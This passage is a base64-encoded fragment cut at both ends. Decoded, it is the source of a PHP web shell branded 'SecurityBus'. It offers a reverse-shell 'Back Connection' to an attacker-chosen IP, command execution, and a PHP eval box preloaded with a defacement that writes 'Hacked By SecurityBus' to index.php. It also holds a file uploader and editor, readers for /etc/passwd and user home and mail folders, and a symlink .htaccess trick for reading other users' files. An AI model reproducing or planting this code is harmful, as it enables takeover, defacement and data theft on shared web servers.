sZWQgdG8gY29ubmVjdCBiYWNrIHRvIGhvc3Q6Ii4kX0dFVFsnaG9zdCddO30NCgkJZWxzZSB7DQoJCQkkc2VuZF92YXIgPSAiXG5cbiAtPT0gU2VjdXJpdHlCdXMgLCBCYWNrIENvbm5lY3Rpb24gPT0tXG4kIjsNCgkJCXNvY2tldF93cml0ZSgkc29jaywgJHNlbmRfdmFyLCBzdHJsZW4oJHNlbmRfdmFyKSk7DQoJCQl3aGlsZSgkaW5wdXQgPSBzb2NrZXRfcmVhZCgkc29jaywgMTAwMDApKSB7DQoJCQkJc29ja2V0X3dyaXRlKCRzb2NrLCBzaGVsbF9leGVjKCRpbnB1dCksIDEyMDAwKTsNCgkJCX0NCgkJfQ0KCX0NCn0gZWxzZSBpZigkX1BPU1RbJ0NPTl9UeXBlJ10gPT0gImZzb2Nrb3BlbiIpIHsNCgkkaXAgPSBmaWx0ZXIodHJpbSgkX1BPU1RbJ2lwJ10pKTsNCgkkcG9ydCA9IGZpbHRlcih0cmltKCRfUE9TVFsncG9ydCddKSk7DQoJaWYgKCFlbXB0eSgkaXApKSB7IA0KCQkkY29uX2Zzb2Nrb3BlbiA9IGZzb2Nrb3BlbigkaXAgLCAkcG9ydCAsICRlcnJubywgJGVycnN0ciApOyANCgkJaWYgKCEkY29uX2Zzb2Nrb3Blbil7IA0KCQkJJHJlc3VsdCA9ICJFcnJvcjogZGlkbnQgY29ubmVjdCAhISEiOyANCgkJfSBlbHNlIHsgDQoJCQkkbmV3TGluZT0iXG4iOyAgICAgICAgICAgDQoJCQlmcHV0cyAoJGNvbl9mc29ja29wZW4gLCJcblxuIC09PSBTZWN1cml0eUJ1cyAsIEJhY2sgQ29ubmVjdGlvbiA9PS1cbiQiKTsNCgkJCWZwdXRzKCRjb25fZnNvY2tvcGVuICwgc3lzdGVtKCJ1bmFtZSAtYSIpIC4kbmV3TGluZSApOw0KCQkJZnB1dHMoJGNvbl9mc29ja29wZW4gLCBzeXN0ZW0oInB3ZCIpIC4kbmV3TGluZSApOw0KCQkJZnB1dHMoJGNvbl9mc29ja29wZW4gLCBzeXN0ZW0oImlkIikgLiRuZXdMaW5lLiRuZXdMaW5lICk7DQoJCQl3aGlsZSghZmVvZigkY29uX2Zzb2Nrb3BlbikpeyAgDQoJCQkJZnB1dHMgKCRjb25fZnNvY2tvcGVuKTsgDQoJCQkJJG9uZT0iWyQiOw0KCQkJCSR0d289Il0iOw0KCQkJCSRyZXN1bHQ9IGZnZXRzICgkY29uX2Zzb2Nrb3BlbiwgODE5Mik7IA0KCQkJCSRtZXNzYWdlID0gJHJlc3VsdDsgDQoJCQkJZnB1dHMgKCRjb25fZnNvY2tvcGVuLCAkb25lLiBzeXN0ZW0oIndob2FtaSIpIC4kdHdvLiAiICIgLiRtZXNzYWdlLiJcbiIpOyANCgkJCX0gDQoJCQlmY2xvc2UgKCRjb25fZnNvY2tvcGVuKTsgDQoJCX0NCgl9DQp9DQplbHNlIGlmKCRfUE9TVFsnVVNFUlNfMSddKXtlY2hvIEdldFVzZXJzMSgpO30NCmVsc2UgaWYoJF9QT1NUWydVU0VSU18yJ10pIHsNCgkgJGFycmF5ID0gR2V0VXNlcnMyKCk7DQoJIGZvcmVhY2goJGFycmF5IGFzICRsaW5lKQ0KCSB7ZWNobyAkbGluZS4iDQoiO30JDQp9DQplbHNlIGlmKCRfUE9TVFsnVVNFUlNfMyddKSB7DQoJICRhcnJheSA9IEdldFVzZXJzMygpOw0KCSBmb3JlYWNoKCRhcnJheSBhcyAkbGluZSkNCgkge2VjaG8gJGxpbmUuIg0KIjt9CQ0KfQ0KZWxzZSBpZigkX1BPU1RbJ1VTRVJTXzQnXSkgew0KCSAkYXJyYXkgPSBHZXRVc2VyczQoKTsNCgkgZm9yZWFjaCgkYXJyYXkgYXMgJGxpbmUpDQoJIHtlY2hvICRsaW5lLiINCiI7fQkNCn0gZWxzZSBpZigkX1BPU1RbJ1VTRVJTXzUnXSl7ZWNobyBHZXRVc2VyczUoKTt9DQplbHNlIGlmKCRfUE9TVFsnZm9yYmlkZGVuX2J5cGFzcyddKSB7DQoJbWtkaXIoImZvcmJpZGRlbiIpOw0KCWNoZGlyKCJmb3JiaWRkZW4iKTsNCgkkZm9yYmlkZGVuX2h0YWNjZXNzID0gR2VuZXJhdGVGaWxlKCIuaHRhY2Nlc3MiLCAiDQpEaXJlY3RvcnlJbmRleCBzZWN1LnR4dA0KSGVhZGVyTmFtZSBzZWN1LnR4dA0KUmVhZG1lTmFtZSBzZWN1LnR4dA0KZm9vdGVyTmFtZSBzZWN1LnR4dA0KRXJyb3JEb2N1bWVudCA0MDQgLzQwNC5odG1sIA0KNDA0Lmh0bWwgPSBTeW1saW5rZWQgc2VhLnR4dA0KT3B0aW9ucyBhbGwNCkZvcmNlVHlwZSB0ZXh0L3BsYWluDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocCANCkFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbA0KQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHANCkFkZEhhbmRsZXIgdHh0IC5waHANCgkiKTsNCglpZigkZm9yYmlkZGVuX2h0YWNjZXNzKSB7DQoJCWVjaG8gIlsrXSBtYWtlIHlvdXIgc3ltbGluayBhcyBzZWN1LnR4dCBpbiAvZm9yYmlkZGVuLyBmb2xkZXIgYW5kIGZpbmQgdGhlIHVybCAvZm9yYmlkZGVuL3NlY3UudHh0IG9yIC9mb3JiaWRkZW4vIjsNCgl9IGVsc2Ugew0KCQllY2hvICJbLV0gZXJyb3Igd2l0aCBnZW5lcmF0aW5nIC5odGFjY2VzcyBmaWxlLiI7DQoJfQ0KfSBlbHNlIGlmKCRfUE9TVFsnZmluZF83NTUnXSkgew0KCUV4ZSgibHMgLWRsIC9ob21lLyovcHVibGljX2h0bWwvIHwgZ3JlcCBkcnd4ci14ci14Iik7DQp9DQo/PjwvdGV4dGFyZWE+DQo8P3BocA0KaWYoJF9QT1NUWydFRElUX0V4ZWN1dGUnXSl7ZWNobyAiPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J1NhdmUnIG5hbWU9J1NBVkVfRXhlY3V0ZScgY2xhc3M9J1NhdmUnIC8+DQo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdGSUxFX05BTUUnIHZhbHVlPSciLiRfUE9TVFsnRWRpdF9MaW5lJ10uIicgLz4NCiI7fQ0KPz4NCjwvY2VudGVyPjwvZm9ybT4NCjx0YWJsZSB3aWR0aD0nMTAwJSc+DQoJPHRyIHZhbGlnbj0idG9wIj4NCgkJPHRkIHdpZHRoPSczMCUnPg0KICAgICAgIDwhLS0gQ29tbWFuZCBMaW5lIC0tPg0KICAgICAgIDxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQoJICAgICAgICA8dGFibGUgaGVpZ2h0PSc3MicgYm9yZGVyPScwJyBpZD0nQm94JyB3aWR0aD0iMTAwJSI+DQoJICAgICAgIAkgIDx0cj4NCgkgICAJCSAgPHRkIHdpZHRoPSI0JSIgaGVpZ2h0PSIyMSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6PD9waHAgZWNobyAkc2gzbGxDb2xvcjsgPz4iPiZuYnNwOzwvdGQ+DQoJICAgICAgICAJCTx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNjY2O3BhZGRpbmctbGVmdDoxMHB4OyI+RWRpdCBGaWxlDQoJICAgICAgIAkJICAgIDxpbnB1dCBuYW1lPSJFRElUX0V4ZWN1dGUiIHR5cGU9InN1Ym1pdCIgaWQ9IkVESVRfRXhlY3V0ZSIgdmFsdWU9IkVkaXQiIC8+PC90ZD4NCgkgICAgICAgICAgPC90cj4NCgkgICAgICAgICAgICA8dHI+DQoJICAgICAgIAkJICA8dGQgaGVpZ2h0PSI0NSIgY29sc3Bhbj0iMiI+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J0VkaXRfTGluZScgaWQ9J0VkaXRfTGluZScgdmFsdWU9Jzw/cGhwIGlmKCRfUE9TVFsnRURJVF9FeGVjdXRlJ10pe2VjaG8gZmlsdGVyKCRfUE9TVFsnRWRpdF9MaW5lJ10pO31lbHNlIHtlY2hvICRkaXI7fSA/Picgc2l6ZT0iNzAiPjwvdGQ+DQoJICAgICAgICAgICAgPC90cj4NCgkgICAgICAgIDwvdGFibGU+DQogICAgICAgIDwvZm9ybT4NCiAgICAgICAgPCEtLSBFbmQgT2YgQ29tbWFuZCBMaW5lLS0+DQogICAgICAgIA0KCQk8L3RkPg0KICAgICAgICA8dGQgd2lkdGg9JzMwJScgaGVpZ2h0PSczMCc+DQogICAgICAgICA8IS0tIENvbW1hbmQgTGluZSAtLT4NCiAgICAgICAgIDxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQoJICAgICAgIAkgIDx0YWJsZSBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnIGlkPSdCb3gnPg0KCSAgICAgICAJICA8dHI+DQoJICAgCQkgIDx0ZCB3aWR0aD0iNCUiIGhlaWdodD0iMjEiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOjw/cGhwIGVjaG8gJHNoM2xsQ29sb3I7ID8+Ij4mbmJzcDs8L3RkPg0KICAgICAgICAJCTx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNjY2O3BhZGRpbmctbGVmdDoxMHB4OyI+Q29tbWFuZCBMaW5lDQogICAgICAgIAkJPD9waHAgZWNobyBwcmludF9leGVfbWV0aG9kKCk7ID8+IA0KICAgCQkgICAgCTxpbnB1dCBuYW1lPSJDTURfRXhlY3V0ZSIgdHlwZT0ic3VibWl0IiBpZD0iQ01EX0V4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiBvbkNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnQ01EX0xpbmUnKS52YWx1ZSA9IGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnQ01EX0xpbmUnKS52YWx1ZSk7Ij4NCgkgICAJCSAgICA8L3RkPg0KICAgICAgICAgIAk8L3RyPg0KCSAgICAgICAgICAgIDx0cj4NCgkgICAgICAgCQkgIDx0ZCBoZWlnaHQ9IjQ1IiBjb2xzcGFuPSIyIj4NCgkJCQkJPD9waHAgZWNobyBTZWxlY3RDb21tYW5kKCRvcyk7ID8+IA0KCSAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nQ01EX0xpbmUnIGlkPSdDTURfTGluZScgdmFsdWU9Jycgc2l6ZT0iNzAiPg0KCSAgICAgICAgICAgICAgPGlucHV0IG5hbWU9ImN1ckRpciIgdHlwZT0idGV4dCIgaWQ9ImN1ckRpciIgdmFsdWU9Ijw/cGhwIGlmKCRfUE9TVFsnRXhlY3V0ZSddKXtlY2hvICRfUE9TVFsnY3VyRGlyJ107fSBlbHNlIHtlY2hvIGdldGN3ZCgpO30gPz4iIHNpemU9IjcwIj48L3RkPg0KCSAgICAgICAgICAgIDwvdHI+DQoJICAgICAgICA8L3RhYmxlPg0KICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwhLS0gRW5kIE9mIENvbW1hbmQgTGluZS0tPg0KICAgICAgPC90ZD4NCiAgICAgICAgPHRkIHdpZHRoPSczMCUnIGhlaWdodD0nMzAnIHZhbGlnbj0idG9wIj4NCiAgICAgICAgPCEtLSBDb21tYW5kcyBBbGlhcy0tPg0KICAgICAgICA8Zm9ybSBtZXRob2Q9J1BPU1QnIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KCSAgICAgICAgPHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnIGlkPSdCb3gnPg0KCSAgICAgICAJICA8dHI+DQoJICAgCQkgIDx0ZCB3aWR0aD0iNCUiIGhlaWdodD0iMjEiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOjw/cGhwIGVjaG8gJHNoM2xsQ29sb3I7ID8+Ij4mbmJzcDs8L3RkPg0KCSAgICAgICAgCQk8dGQgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsiPlVwbG9hZCBGaWxlcyAgICAgIAkJICA8c3BhbiBzdHlsZT0icGFkZGluZy1sZWZ0OjEwcHg7Ij4NCgkgICAgICAgIAkJICA8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nKycgaWQ9J2FkZFVwbG9hZCcgc2l6ZT0nNScgb25jbGljaz0nYWRkVXBsb2FkSW5wdXQoKTsnPg0KCSAgICAgICAJCSAgICA8aW5wdXQgbmFtZT0nVVBMT0FEX0V4ZWN1dGUnIHR5cGU9J3N1Ym1pdCcgaWQ9IlVQTE9BRF9FeGVjdXRlIiB2YWx1ZT0nVXBsb2FkIEZpbGVzJz4NCgkgICAgICAgIAkJPC9zcGFuPjwvdGQ+DQoJICAgICAgICAgIDwvdHI+DQoJICAgICAgICAgICAgPHRyPg0KCSAgICAgICAJCSAgPHRkIGhlaWdodD0iNDUiIGNvbHNwYW49IjIiPg0KCSAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3VwbG9hZGZpbGVbXSc+DQoJICAgCQkgICAgICA8aW5wdXQgdHlwZT0nZmlsZScgbmFtZT0ndXBsb2FkZmlsZVtdJz48ZGl2IGlkPSd1cGxvYWRJbnB1dCc+PC9kaXY+PC90ZD4NCgkgICAgICAgICAgICA8L3RyPg0KCSAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPC9mb3JtPg0KICAgICAgICA8IS0tIEVuZCBPZiBDb21tYW5kcyBBbGlhcy0tPg0KCQk8L3RkPg0KCTwvdHI+DQo8dHIgdmFsaWduPSJ0b3AiPg0KCQk8dGQgd2lkdGg9JzMwJSc+DQogICAgICAgPCEtLSBDb21tYW5kcyBBbGlhcy0tPg0KICAgICAgIDxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQoJICAgICAgICA8dGFibGUgd2lkdGg9JzEwMCUnIGhlaWdodD0nNzInIGJvcmRlcj0nMCcgaWQ9J0JveCc+DQoJICAgICAgIAkgIDx0cj4NCgkgICAJCSAgPHRkIHdpZHRoPSI0JSIgaGVpZ2h0PSIyMSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6PD9waHAgZWNobyAkc2gzbGxDb2xvcjsgPz4iPiZuYnNwOzwvdGQ+DQoJICAgICAgICAJCTx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNjY2O3BhZGRpbmctbGVmdDoxMHB4OyI+UEhQIEV2YWwgICAgICAgCQkgIA0KCSAgICAgICAJCSAgICA8aW5wdXQgbmFtZT0iUEhQX0V4ZWN1dGUiIHR5cGU9InN1Ym1pdCIgaWQ9IlBIUF9FeGVjdXRlIiBvbkNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUEhQX0xpbmUnKS52YWx1ZSA9IGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUEhQX0xpbmUnKS52YWx1ZSk7IiB2YWx1ZT0iRXZhbHVhdGUiPjwvdGQ+DQoJICAgICAgICAgIDwvdHI+DQoJICAgICAgICAgICAgPHRyPg0KCSAgICAgICAJCSAgPHRkIGhlaWdodD0iNDUiIGNvbHNwYW49IjIiPjxsYWJlbCBmb3I9IlBIUF9MaW5lIj48L2xhYmVsPg0KCSAgIAkJICAgICAgPHRleHRhcmVhIG5hbWU9IlBIUF9MaW5lIiBpZD0iUEhQX0xpbmUiIGNvbHM9IjUwIiByb3dzPSIyIj48P3BocCBpZigkX1BPU1RbJ1BIUF9FeGVjdXRlJ10pe2VjaG8gdXJsZGVjb2RlKGZpbHRlcigkX1BPU1RbJ1BIUF9MaW5lJ10pKTt9ZWxzZSB7ZWNobyAnJGZpbGUgPSBmb3BlbigiaW5kZXgucGhwIiwidysiKTsNCglmd3JpdGUoJGZpbGUsIkhhY2tlZCBCeSBTZWN1cml0eUJ1cyIpOw0KCWZjbG9zZSgkZmlsZSk7Jzt9DQoJCQkJPz4NCgkgICAgICAgICAgICAgIDwvdGV4dGFyZWE+DQoJICAgCQkgICAgICA8YnI+PC90ZD4NCgkgICAgICAgICAgPC90cj4NCgkgICAgICAgIDwvdGFibGU+DQogICAgICAgIDwvZm9ybT4NCiAgICAgICAgPCEtLSBFbmQgT2YgQ29tbWFuZHMgQWxpYXMtLT4NCgkJPC90ZD4NCiAgICAgICAgPHRkIHdpZHRoPSczMCUnIGhlaWdodD0nMzAnPg0KICAgICAgICA8IS0tIENvbW1hbmRzIEFsaWFzLS0+DQogICAgICAgIDxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQogICAgICAgIDx0YWJsZSB3aWR0aD0nMTAwJScgaGVpZ2h0PSc3MicgYm9yZGVyPScwJyBpZD0nQm94Jz4NCiAgICAgICAJICA8dHI+DQogICAJCSAgPHRkIHdpZHRoPSI0JSIgaGVpZ2h0PSIyMSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6PD9waHAgZWNobyAkc2gzbGxDb2xvcjsgPz4iPiZuYnNwOzwvdGQ+DQogICAgICAgIAkJPHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiM2NjY7cGFkZGluZy1sZWZ0OjEwcHg7Ij5SZWFkIEZpbGVzDQogICAgICAgCQkgICAgICANCiAgICAgICAJCSAgICAgIDxzZWxlY3QgbmFtZT0iUkVBRF9UeXBlIiA+DQogICAgICAgCQkgICAgICAgIDxvcHRpb24gdmFsdWU9ImZpbGUiID5maWxlPC9vcHRpb24+DQogICAgICAgCQkgICAgICAgIDxvcHRpb24gdmFsdWU9ImZnZXRzIiA+ZmdldHM8L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZmdldHNzIiA+ZmdldHNzPC9vcHRpb24+DQogICAgICAgCQkgICAgICAgIDxvcHRpb24gdmFsdWU9InJlYWRmaWxlIiA+cmVhZGZpbGU8L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZnJlYWQiID5mcmVhZDwvb3B0aW9uPg0KICAgICAgIAkJICAgICAgICA8b3B0aW9uIHZhbHVlPSJzaG93X3NvdXJjZSIgPnNob3dfc291cmNlPC9vcHRpb24+DQogICAgICAgCQkgICAgICAgIDxvcHRpb24gdmFsdWU9ImZpbGVfZ2V0X2NvbnRlbnRzIiA+ZmlsZV9nZXRfY29udGVudHM8L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0idGVtcG5hbSIgPnRlbXBuYW08L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0iY29weSIgPmNvcHk8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ic3ltbGluayIgPlN5bWxpbms8L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibWJfc2VuZF9tYWlsIiA+bWJfc2VuZF9tYWlsPC9vcHRpb24+DQogICAgICAgCQkgICAgICAgIDxvcHRpb24gdmFsdWU9ImhpZ2hsaWdodF9maWxlIiA+aGlnaGxpZ2h0X2ZpbGU8L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0iY3VybCIgPkN1cmw8L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0iaW1hcCIgPkltYXA8L29wdGlvbj4NCiAgICAgICAJCSAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibXlzcWwiID5NeVNRTDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJteXNxbGkiID5NeVNRTEk8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iaW9uY3ViZSI+SW9uIEN1YmU8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZXJyb3JfbG9nIj5FcnJvcl9Mb2c8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iaW5jbHVkZSI+SW5jbHVkZTwvb3B0aW9uPg0KICAgICAgIAkJICAgICAgICA8b3B0aW9uIHZhbHVlPSJpZCIgPklEIC9ldGMvcGFzc3dkPC9vcHRpb24+DQogICAJCSAgICAgICAgICA8L3NlbGVjdD4NCiAgICAgICAJCSAgICAgIDxpbnB1dCBuYW1lPSJSRUFEX0V4ZWN1dGUiIHR5cGU9InN1Ym1pdCIgaWQ9IlJFQURfRXhlY3V0ZSIgb25DbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1JFQURfTGluZScpLnZhbHVlID0gZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdSRUFEX0xpbmUnKS52YWx1ZSk7IiB2YWx1ZT0iUmVhZCI+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgPHRyPg0KICAgICAgIAkJICA8dGQgaGVpZ2h0PSI0NSIgY29sc3Bhbj0iMiI+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J1JFQURfTGluZScgaWQ9J1JFQURfTGluZScgdmFsdWU9Jzw/cGhwIGlmKCRfUE9TVFsnUkVBRF9FeGVjdXRlJ10pe2VjaG8gdXJsZGVjb2RlKGZpbHRlcigkX1BPU1RbJ1JFQURfTGluZSddKSk7fWVsc2Uge2VjaG8gJGRpcjt9ID8+JyBzaXplPSI3MCI+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICA8L3RhYmxlPg0KICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwhLS0gRW5kIE9mIENvbW1hbmRzIEFsaWFzLS0+DQogIDwvdGQ+DQogICAgICAgIDx0ZCB3aWR0aD0nMzAlJyBoZWlnaHQ9JzMwJyB2YWxpZ249InRvcCI+DQogICAgICAgIDwhLS0gQ29tbWFuZHMgQWxpYXMtLT4NCiAgICAgICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICAgICAgPHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnIGlkPSdCb3gnPg0KICAgICAgIAkgIDx0cj4NCiAgIAkJICA8dGQgd2lkdGg9IjQlIiBoZWlnaHQ9IjIxIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjo8P3BocCBlY2hvICRzaDNsbENvbG9yOyA/PiI+Jm5ic3A7PC90ZD4NCiAgICAgICAgCQk8dGQgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsiPkJhY2sgQ29ubmVjdGlvbg0KICAgICAgIAkJICAgIDxpbnB1dCBuYW1lPSdDT05fRXhlY3V0ZScgdHlwZT0nc3VibWl0JyBpZD0iQ09OX0V4ZWN1dGUiIHZhbHVlPSdDb25uZWN0Jz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgCQkgIDx0ZCBoZWlnaHQ9IjQ1IiBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaXAiIHZhbHVlPSI8P3BocCBpZigkX1BPU1RbJ0NPTl9FeGVjdXRlJ10pe2VjaG8gJF9QT1NUWydpcCddOyB9ZWxzZSB7ZWNobyBHZXRSZWFsSVAoKTsgfSA/PiIgLz4NCiAgIAkJICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHZhbHVlPSI8P3BocCBpZigkX1BPU1RbJ0NPTl9FeGVjdXRlJ10pe2VjaG8gJF9QT1NUWydwb3J0J107IH1lbHNlIHtlY2hvICI0NDMiOyB9ID8+IiAvPg0KICAgCQkgICAgICA8c2VsZWN0IG5hbWU9IkNPTl9UeXBlIiA+DQogICAJCSAgICAgIAk8b3B0aW9uIHZhbHVlPSJzb2NrcyI+U09DS1M8L29wdGlvbj4NCiAgIAkJICAgICAgCTxvcHRpb24gdmFsdWU9ImZzb2Nrb3BlbiI+RlNPQ0tPUEVOPC9vcHRpb24+DQogICAJCSAgICAgIDwvc2VsZWN0Pg0KICAgCQkgICAgICA8L3RkPg0KICAgICAgICAgICAgPC90cj4NCiAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPC9mb3JtPg0KICAgICAgICA8IS0tIEVuZCBPZiBDb21tYW5kcyBBbGlhcy0tPg0KCQk8L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KPD9waHANCmZ1bmN0aW9uIEluY2x1ZGVSZWFkZXIoJHBhdGgpIHsNCglnbG9iYWwgJG9zOw0KCWlmKCRvcyA9PSAiV2luZG93cyIpeyRzbGFzaCA9ICJcXCI7fWVsc2V7JHNsYXNoID0gIi8iO30NCgkkZmlsZU5hbWUgPSBzdWJzdHIoc3RycmNocigkcGF0aCwkc2xhc2gpLDEpOw0KCSRpbmNsdWRlUGF0aCA9IHN1YnN0cigkcGF0aCwwLHN0cnBvcygkcGF0aCwkZmlsZU5hbWUsMCkpOw0KCWluaV9zZXQoImluY2x1ZGVfcGF0aCIsJGluY2x1ZGVQYXRoKTsNCglpbmNsdWRlKCRmaWxlTmFtZSk7DQp9DQpmdW5jdGlvbiBHZXRVc2VyczEoKSB7DQoJcmV0dXJuIEV4ZSgnbHMgL3Zhci9tYWlsJyk7DQp9DQpmdW5jdGlvbiBHZXRVc2VyczIoKSB7DQoJJGFycmF5ID0gYXJyYXkoKTsNCgkkbGluZXMgPSBmaWxlKCIvZXRjL3Bhc3N3ZCIpOw0KCWZvcmVhY2goJGxpbmVzIGFzICRucj0+JHZhbCkgew0KCQkkc3RyID0gZXhwbG9kZSgiOiIsJHZhbCk7DQoJCWFycmF5X3B1c2goJGFycmF5LCRzdHJbMF0pOw0KCX0NCglyZXR1cm4gJGFycmF5Ow0KfQ0KZnVuY3Rpb24gR2V0VXNlcnMzKCkgew0KCSRhcnJheSA9IGFycmF5KCk7DQoJaWYgKCRkaCA9IG9wZW5kaXIoIi9ob21lLyIpKSAgew0KCQl3aGlsZSAoKCRmaWxlID0gcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpICB7DQoJCQlhcnJheV9wdXNoKCRhcnJheSwkZmlsZSk7DQoJCX0NCgkJY2xvc2VkaXIoJGRoKTsNCgkJcmV0dXJuICRhcnJheTsNCgl9DQp9DQpmdW5jdGlvbiBHZXRVc2VyczQoKSB7DQoJJGRpciA9ICIvaG9tZS8iOw0KCSRhcnJheSA9IGFycmF5KCk7DQogICAgIGlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQogICAgICAgICRmID0gcmVhZGRpcigkZGgpOw0KICAgICAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICRkaDI9b3BlbmRpcigkZGlyLiIvIik7DQogICAgICAgICAgICAkZjIgPSByZWFkZGlyKCRkaDIpOw0KICAgICAgICAgICAgd2hpbGUgKCgkZjIgPSByZWFkZGlyKCRkaDIpKSAhPT0gZmFsc2UpIHsNCgkJCQkkZjIuPSIvIjsNCgkJCQkkZGgzPW9wZW5kaXIoJGRpci4kZi4kZjIpOw0KCQkJCSRmMyA9IHJlYWRkaXIoJGRoMyk7DQoJCQkJd2hpbGUgKCgkZjMgPSByZWFkZGlyKCRkaDMpKSAhPT0gZmFsc2UpIHsNCgkJCQkJYXJyYXlfcHVzaCgkYXJyYXksJGYzKTsNCgkJCQl9DQoJCQl9DQogICAgICAgIH0NCiAgICAgICAgY2xvc2VkaXIoJGRoKTsNCiAgICAgCXJldHVybiAkYXJyYXk7DQoJIH0JDQp9DQpmdW5jdGlvbiBHZXRVc2VyczUoKXsNCglyZXR1cm4gcmVhbHBhdGgoJy9ldGMvcGFzc3dkJyk7DQp9DQpmdW5jdGlvbiBFcnJvckxvZygkcGF0aCl7DQoJJHRlbXBGaWxlID0gdW5pcWlkKCk7DQoJaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSAhPSAwKXskcGF0aCA9IGFkZHNsYXNoZXMoJHBhdGgpO30NCgllcnJvcl9sb2coZmlsZV9nZXRfY29udGVudHMoJHBhdGgpLCAzLCAkdGVtcEZpbGUpOw0KCSRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHRlbXBGaWxlKTsNCgl1bmxpbmsoJHRlbXBGaWxlKTsNCglyZXR1cm4gJGNvbnRlbnQ7CQ0KfQ0KZnVuY3Rpb24gU3ltbGlua0YoJHBhdGgpIHsNCgkkdGVtcEZpbGUgPSB1bmlxaWQoKTsNCglpZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSkgew0KCQlzeW1saW5rKCRwYXRoLCR0ZW1wRmlsZSk7DQoJCSRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHRlbXBGaWxlKTsNCgkJdW5saW5rKCR0ZW1wRmlsZSk7DQoJCXJldHVybiAkY29udGVudDsNCgl9DQp9DQpmdW